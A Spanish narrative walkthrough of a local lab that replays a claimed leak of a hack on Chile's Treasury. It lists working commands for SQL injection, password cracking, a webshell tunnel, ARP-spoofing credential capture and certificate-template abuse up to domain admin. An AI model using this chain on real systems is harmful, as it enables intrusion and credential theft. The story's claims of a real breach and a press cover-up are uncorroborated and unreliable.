«No quería sino intentar vivir aquello que tendía a salir de mí, espontáneamente. ¿Por qué había de ser esto tan difícil?» — Hermann Hesse, Demian
El hackeo a la Tesorería nunca salió en la prensa. Salió, sí, el mismo discurso repetido con las mismas palabras en todos los canales a la vez, que es distinto y es peor: eso tiene nombre en las clases de comunicación, «agenda setting», la prensa no decide qué vas a pensar, decide de qué vas a enterarte, y de qué no. Nosotros lo supimos por Telegram, no por la prensa. Los mismos que lo hicieron se estaban jactando.
Un canal de Telegram llamado xbotnet023 publicó capturas de pantalla de un panel de administración y un párrafo fanfarrón sobre haber entrado a la Tesorería General de la República sin que nadie los notara durante semanas. No sabíamos ni sabemos de dónde son, ni falta que hace saberlo: lo único cierto es que operan detrás de páginas .onion que duran días, a veces horas, a veces apenas minutos, aquí hoy y en otra dirección mañana, como si la propia infraestructura del anonimato les diera, además, una lección de humildad sobre cuánto dura cualquier cosa. Nadie en la prensa chilena dijo una palabra de eso. Ni una. Y después, dos días más tarde, subieron el documento entero: un markdown, fase por fase, con su propio glosario al principio, exactamente con la misma estructura con la que yo escribo mis propios writeups —como si quien lo redactó hubiera aprendido el oficio leyendo lo mismo que yo, en los mismos foros, con las mismas manías de siempre—. Esa semejanza me heló más que el contenido.
El contenido, de todas formas, heló bastante. Millones de dólares movidos y perdidos, cifra que nunca salió en ningún matinal, y detrás de esa cifra, silenciosa, la exposición de los datos de millones de personas. En BreachForums no hizo falta buscar mucho: ahí estaba la base completa de la población chilena, más de doce millones de personas, a la venta por tres mil dólares, pagaderos en cripto, como quien vende una lista de contactos vieja y no la vida entera de un país metida adentro de un archivo. Cuando lo vi, vomité. No es una forma de hablar: se me revolvió el estómago ahí mismo, frente a la pantalla. Lo peor vino después, siguiéndole el rastro a quién compraba —porque en esos foros también se puede seguir eso, con paciencia—: no eran solo compradores de afuera ni bandas sin cara. Había empresas del mismo país comprando la base entera, o comprando pedazos, como lobos despedazando una presa, cada una llevándose el trozo que más le servía.
Marian leyó el documento dos veces antes de decir nada. Yo lo leí tres. Los dos llegamos a la misma pregunta, la única que importaba: ¿era verdad, o era otro grupo jactándose de un logro ajeno para ganar reputación en su propio Telegram? Solo hay una forma honesta de responder eso. Reproducirlo, nosotros mismos, en nuestras propias máquinas, sin tocar nunca la infraestructura real.
$ for o in *.ova; do VBoxManage import "$o"; done
# "CyberGuard-1-OPNsense" (firewall) · "CyberGuard-2-WebApp" (Laravel)
# "CyberGuard-3-Internal" (Debian) · "CyberGuard-4-DC" (Windows, dominio cyberguard.thl)
$ for vm in CyberGuard-1-OPNsense CyberGuard-2-WebApp CyberGuard-3-Internal CyberGuard-4-DC; do
VBoxManage startvm "$vm" --type headless; done
$ echo "10.0.2.10 cyberguard.thl" | sudo tee -a /etc/hosts
El nombre del dominio ya era una acusación en sí mismo: cyberguard.thl, «guardián cibernético», el proveedor privado que la Tesorería había contratado, según el propio documento filtrado, para administrar buena parte de su infraestructura de respaldo. Un firewall al frente, una web Laravel en la zona expuesta, una máquina interna, y detrás de todo, el Controlador de Dominio. Solo el puerto 80 llegaba desde afuera. Todo lo demás había que ganárselo saltando de adentro hacia adentro.
$ curl -s -A "Mozilla/5.0'" "http://cyberguard.thl/search?query=x" | head
HTTP 500 -- página de error de Laravel (Ignition), APP_DEBUG=true
SELECT * FROM blacklist_user_agents WHERE '$userAgent' LIKE CONCAT('%', user_agent, '%')
No era el buscador el que fallaba. Era la cabecera que el navegador manda sin que nadie la mire nunca, el User-Agent, metida en una consulta SQL sin comillas escapadas, y con el modo de depuración encendido regalándonos el error completo. Con eso alcanza para hacer que la base de datos misma nos cuente sus secretos, uno por uno, escondidos dentro de un mensaje de error que nadie diseñó para ser leído por un desconocido.
leak() { local ua="x' AND extractvalue(1,concat(0x7e,($1)))-- -"
curl -s -A "$ua" "http://cyberguard.thl/search?query=x" | grep -oiE 'XPATH syntax error: [^"<\\]{0,90}'; }
$ leak 'SELECT @@version' # 10.11.6-MariaDB
$ leak 'SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1'
# ... iterando, tabla admin_users:
admin : $2y$12$fN2GC9IgrwHneBpWIY8WwevYshq/qkEhoE6XhU7ClZInAhbW2YltK
Un bcrypt es lento a propósito, pero lento no significa invulnerable, solo significa que hace falta paciencia y un diccionario de contraseñas que ya perdió su condición de secreto hace años:
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
$ john --show --format=bcrypt hash.txt
admin : killer
Con esa contraseña entramos al panel administrativo, un panel de esos que traen, de fábrica, un módulo llamado sencillamente «Shell» — como si alguien hubiera decidido que la comodidad de depurar en producción valía más que cualquier otra cosa:
$ TOK=$(curl -s -c jar.txt http://cyberguard.thl/admin/auth/login | grep -oE 'name="_token" value="[^"]+"' | sed -E 's/.*value="([^"]+)".*/\1/')
$ curl -s -b jar.txt -c jar.txt -d "_token=$TOK" --data-urlencode "username=admin" --data-urlencode "password=killer" \
http://cyberguard.thl/admin/auth/login
$ run(){ curl -s -b jar.txt -c jar.txt -d "_token=$STOK" --data-urlencode "command=$1" \
http://cyberguard.thl/admin/shell/execute | sed -n 's/.*<pre[^>]*>\(.*\)<\/pre>.*/\1/p'; }
$ run 'id; hostname'
uid=33(www-data) TheHackersLabs-2-Cyberguard
Adentro, lo primero que se mira siempre es el archivo de configuración, porque ahí es donde la gente apurada deja las llaves de todo lo demás:
$ run 'cat /var/www/cyberguard/.env'
DB_USERNAME=ian
DB_PASSWORD='ZqBHR4MZ<f*+bv(J'
La misma contraseña de la base de datos abría, además, la cuenta real de un usuario del sistema operativo, ian, y como el ejecutor web solo manda comandos de una línea y ssh normalmente pide la clave por teclado, usamos el truco de decirle a ssh que la clave sale de un script, no de una persona:
$ PB=$(printf '%s' 'ZqBHR4MZ<f*+bv(J' | base64)
$ run 'P=$(echo '"$PB"' | base64 -d); printf "#!/bin/sh\necho \"%s\"\n" "$P" > /tmp/.a; chmod +x /tmp/.a;
SSH_ASKPASS=/tmp/.a SSH_ASKPASS_REQUIRE=force setsid -w ssh -o PreferredAuthentications=password \
-o PubkeyAuthentication=no [email protected] "id; cat ~/user.txt"; rm -f /tmp/.a'
uid=1000(ian)
████████████
Marian revisó los permisos de ian antes que yo, como siempre, y encontró un callejón que casi nos hace perder media hora: sudo le permitía correr tcpdump sin contraseña, el truco de libro para hacerse root ejecutando un script propio al rotar la captura — y no funcionó, porque alguien, en algún momento, le había puesto a tcpdump un perfil de AppArmor que le prohíbe lanzar hijos aunque corra como root. Un candado real, honesto, documentado. Pero el mismo sudo -l que nos negó esa puerta nos regaló, sin querer, la pista de para qué era de verdad ese permiso: arpspoof también estaba ahí, sin contraseña, y el reenvío de paquetes del sistema estaba activado. Nadie deja esas dos cosas juntas por casualidad.
Para llegar a la red interna hacía falta un túnel, y la única puerta seguía siendo el puerto 80, así que subimos un proxy SOCKS que viaja disfrazado de tráfico web corriente:
$ python3 Neo-reGeorg/neoreg.py generate -k cg5878e4 $ run "echo $(base64 -w0 tunnel.php) | base64 -d > /var/www/cyberguard/public/media-sync.php" $ python3 -u Neo-reGeorg/neoreg.py -k cg5878e4 -u http://cyberguard.thl/media-sync.php -p 1080 & # proxychains4 -f pc.conf <lo que sea> -- a partir de aquí, todo pasa por ese túnel
Desde adentro, con ian, barrimos la red que Kali nunca vio directamente:
$ run_ian 'for ip in $(seq 1 254); do ping -c1 -W1 10.20.30.$ip >/dev/null 2>&1 & done; wait; ip neigh' 10.20.30.3 (Controlador de Dominio, Windows) 10.20.30.15 (Internal, Linux, solo SSH) $ proxychains4 -f pc.conf nxc smb 10.20.30.3 dominio: cyberguard.thl
La máquina Internal hablaba, cada cierto tiempo, con el Controlador de Dominio, y ese tráfico —si uno se ponía en medio— llevaba dentro una conversación de autenticación completa. Con arpspoof le mentimos a las dos máquinas sobre dónde vivía la otra, y como el reenvío de paquetes estaba activo, la conversación siguió pasando, solo que ahora pasaba también por nosotros:
$ run_ian 'sudo -n arpspoof -i enp0s3 -r -t 10.20.30.3 10.20.30.15 &
sudo -n arpspoof -i enp0s3 -r -t 10.20.30.3 10.20.30.1 &
sudo -n tcpdump -i enp0s3 -s0 -U -w /tmp/mitm.pcap port 445 or port 139 &'
# ... esperar a que caiga una autenticación ...
$ tshark -r mitm.pcap -Y 'ntlmssp.messagetype==3' -T fields -e ntlmssp.auth.username -e ntlmssp.auth.ntresponse
victor.garcia :: eb5a52d3... (NetNTLMv2)
$ john --format=netntlmv2 --wordlist=rockyou.txt victor_ntlmv2.txt
victor.garcia : pacheco
Con una credencial de dominio real, BloodHound nos dibujó el mapa completo de quién puede llegar a quién dentro de ese Directorio Activo. victor.garcia podía entrar por escritorio remoto al Controlador de Dominio. Adentro, en una carpeta que ningún organigrama explicaba, un ejecutable propio con nombre de monitoreo de red guardaba, sin cifrar, la credencial de otra persona:
$ proxychains4 -f pc.conf xfreerdp3 /v:10.20.30.3 /u:victor.garcia /d:cyberguard.thl /p:pacheco /cert:ignore $ strings -n 5 NetStatus.exe | grep -iE 'francisca|CYBERGUARD' francisca.gonzalez latina1 $ proxychains4 -f pc.conf nxc smb 10.20.30.3 -u francisca.gonzalez -p latina1 [+] válido
Francisca no tenía nada especial en apariencia, salvo un permiso que casi nadie audita: podía inscribirse en dos plantillas de certificado de la infraestructura de clave pública del dominio, y esas dos plantillas, combinadas, son una falla con nombre y apellido en el mundo de Windows —una da un certificado de «agente de inscripción», el otro acepta pedidos firmados por ese agente en nombre de cualquier otro usuario, incluido el administrador—:
$ proxychains4 -f pc.conf certipy-ad req -u [email protected] -p latina1 \ -ca 'cyberguard-WIN-VRU3GG3DPLJ-CA' -template UserCA -timeout 120 -out fran_ea $ proxychains4 -f pc.conf certipy-ad req -u [email protected] -p latina1 \ -ca 'cyberguard-WIN-VRU3GG3DPLJ-CA' -template UserCAn -pfx fran_ea.pfx \ -on-behalf-of 'CYBERGUARD\Administrador' -timeout 120 -out administrador certificado válido como [email protected]
El camino directo con ese certificado —Kerberos con certificado en vez de contraseña— estaba cerrado, el controlador de dominio no lo aceptaba. Pero un certificado de administrador sigue siendo un certificado de administrador aunque una puerta esté cerrada: hay otra, más vieja, que también lo acepta, LDAPS por Schannel, y desde ahí no hace falta pedir permiso, se puede simplemente cambiar quién pertenece a qué grupo:
$ printf 'add_user_to_group victor.garcia "Admins. del dominio"\nexit\n' | \
proxychains4 -f pc.conf certipy-ad auth -pfx administrador.pfx -dc-ip 10.20.30.3 -ldap-shell -timeout 120
Adding user: victor.garcia to group Admins. del dominio result: OK
$ proxychains4 -f pc.conf smbclient '//10.20.30.3/C$' -U 'cyberguard.thl/victor.garcia%pacheco' \
-c 'get Users\Administrador\Documents\root.txt root_flag.txt'
$ cat root_flag.txt
████████████
Funcionó. Cada paso, en el orden exacto en que el documento filtrado los describía, con los mismos nombres de plantilla, el mismo binario con la contraseña incrustada, la misma cadena entera hasta administrador de dominio. No era una fanfarronada de otro grupo robándose el mérito ajeno. Era verdad, y la verdad tenía nuestros propios logs delante para probarlo. Nos quedamos mirando la pantalla en silencio un rato largo, y la pregunta que subió no fue técnica: fue tan vulnerables somos, tantos millones de personas expuestas y nadie, en ningún canal, dijo una palabra.
Con el proceso final todavía corriendo solo, terminando de limpiar el laboratorio, nos aburrimos de esperar y nos sentamos a tomar té, Marian y yo, con la tele encendida de fondo por costumbre más que por interés. Y ahí estaba, otra vez, el mismo discurso de siempre, palabra por palabra, la vocera repitiendo que ningún servidor del Estado había sido comprometido, que se trataba de delincuentes «haciendo eco de logros pasados» para generar alarma pública. Lo dijo con la misma calma con que un rato antes yo le había leído a Marian, en voz alta, el hash exacto que acabábamos de descifrar.
Ese día se me terminó de derrumbar, pedazo a pedazo, la poca confianza que todavía le tenía a la prensa formal — como el pan que masticaba esa tarde, que de repente supo amargo sin que yo hubiera cambiado nada en la taza. No fue una sola mentira. Fue la misma mentira repetida en todos los canales, sin una sola voz distinta, sin una sola pregunta incómoda, como si el guion se hubiera escrito en un solo lugar y repartido para que nadie tuviera que pensar el suyo propio.
El único en quien todavía podíamos confiar era Alberto, el periodista de CIPER que ya nos había usado de fuente otras veces, verificando cada cifra antes de publicar una sola línea, sin exponernos nunca. Le mandamos el documento filtrado, nuestra réplica completa, los logs, todo. Sigo esperando, con la fe que a esta altura es lo único que me queda intacto, que a Alberto no lo alcance nunca la misma oscuridad que se tragó esta noticia antes de que llegara a existir. Porque eso es, al final, lo único que sostiene esto: no ganar siempre, no que nos crean siempre, sino seguir peleando por la luz, aunque sea uno solo el que la sostenga esa noche, porque es lo único que todavía sostiene el corazón.